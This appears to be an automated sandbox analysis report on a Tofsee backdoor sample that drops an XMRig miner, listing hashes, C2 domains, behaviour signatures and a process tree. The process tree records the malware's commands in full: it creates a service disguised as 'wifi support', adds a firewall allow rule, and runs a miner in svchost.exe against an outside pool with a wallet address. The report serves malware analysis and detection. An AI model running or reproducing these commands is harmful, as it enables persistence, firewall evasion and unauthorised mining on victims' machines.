Analysis

  • max time kernel
    5s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:50

General

  • Target

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe

  • Size

    254KB

  • MD5

    02ac11d7691ed7141949fc5c03d5aae8

  • SHA1

    b122e23b4dfb29d4efedbbe7a72c75d696f8a7ac

  • SHA256

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee

  • SHA512

    c437f0cec3cbe5a62a650cafd0814016864c083a2df5a65000d0411b8249daec0744b7c948039a97848135a263ba183a9cb00876fbc3d22ee1e8322dfda0e55e

  • SSDEEP

    3072:M9xGAh803FPqB1HzqotaoQpxVKPk4hjw6EX7eUkpvTRSdnbr4rO/p/4CY/:w/8iYlAxVKMuELrdnbr4yG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe
    "C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\permvqxi\
      2⤵
        PID:2324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jzzwiuki.exe" C:\Windows\SysWOW64\permvqxi\
        2⤵
          PID:2344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create permvqxi binPath= "C:\Windows\SysWOW64\permvqxi\jzzwiuki.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description permvqxi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start permvqxi
          2⤵
          • Launches sc.exe
          PID:2744
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2732
      • C:\Windows\SysWOW64\permvqxi\jzzwiuki.exe
        C:\Windows\SysWOW64\permvqxi\jzzwiuki.exe /d"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
        1⤵
          PID:2760
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
              PID:2764
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
                3⤵
                  PID:1276

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\jzzwiuki.exe

                    Filesize

                    4.9MB

                    MD5

                    41e5c245a82a8504a70527e839ae883e

                    SHA1

                    080f8d3a98ac6769752e221403d17354a4afa0b5

                    SHA256

                    51fd31d38d471d045b16fd4b4fedc2cd52aedfe29845cc212e8d61bf5758e746

                    SHA512

                    b281798cb0e3cf7c7bcf001dc7ff8f5f10af5e3b6c6ac12d286a0d07fb9e7d718c8b2c4e5f32df7fd50f4e7de92e1eefd353f7cb5a6b4d537dfae67648188b69

                  • C:\Windows\SysWOW64\permvqxi\jzzwiuki.exe

                    Filesize

                    5.4MB

                    MD5

                    9bbc5d1f6be289e2071874e4a8e1815a

                    SHA1

                    362815bd2e08ecca3f49caa89dc21b2fbd104dcf

                    SHA256

                    c0ae437eaa40a777b2087deaadd1fabe001c2fc6208f54033b7eaa39847a3847

                    SHA512

                    fce8a86aaa9284f5edc42a69af9ca3bcaaa3b524877b13a55705f330876f5c0871f46fd216aef955f541ac231379af2866ae8eca7805fb8c03114b7991aac525

                  • memory/1276-75-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-63-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-62-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-72-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-77-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-71-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-76-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-73-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/1276-74-0x0000000000260000-0x0000000000351000-memory.dmp

                    Filesize

                    964KB

                  • memory/2216-6-0x0000000000400000-0x00000000004F3000-memory.dmp

                    Filesize

                    972KB

                  • memory/2216-1-0x0000000000690000-0x0000000000790000-memory.dmp

                    Filesize

                    1024KB

                  • memory/2216-4-0x0000000000400000-0x00000000004F3000-memory.dmp

                    Filesize

                    972KB

                  • memory/2216-2-0x0000000000220000-0x0000000000233000-memory.dmp

                    Filesize

                    76KB

                  • memory/2760-16-0x0000000000400000-0x00000000004F3000-memory.dmp

                    Filesize

                    972KB

                  • memory/2760-12-0x0000000000400000-0x00000000004F3000-memory.dmp

                    Filesize

                    972KB

                  • memory/2760-9-0x00000000005F0000-0x00000000006F0000-memory.dmp

                    Filesize

                    1024KB

                  • memory/2764-57-0x00000000009F0000-0x00000000009F7000-memory.dmp

                    Filesize

                    28KB

                  • memory/2764-35-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-53-0x0000000005830000-0x0000000005C3B000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/2764-48-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-47-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-46-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-49-0x00000000006D0000-0x00000000006D5000-memory.dmp

                    Filesize

                    20KB

                  • memory/2764-56-0x0000000005830000-0x0000000005C3B000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/2764-45-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-44-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-43-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-42-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-41-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-40-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-39-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-37-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-36-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-52-0x00000000006D0000-0x00000000006D5000-memory.dmp

                    Filesize

                    20KB

                  • memory/2764-34-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-33-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-32-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-26-0x0000000000190000-0x0000000000196000-memory.dmp

                    Filesize

                    24KB

                  • memory/2764-25-0x00000000019C0000-0x0000000001BCF000-memory.dmp

                    Filesize

                    2.1MB

                  • memory/2764-61-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-38-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-29-0x0000000000430000-0x0000000000440000-memory.dmp

                    Filesize

                    64KB

                  • memory/2764-22-0x00000000019C0000-0x0000000001BCF000-memory.dmp

                    Filesize

                    2.1MB

                  • memory/2764-10-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-14-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-20-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-18-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-19-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB

                  • memory/2764-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

                    Filesize

                    4KB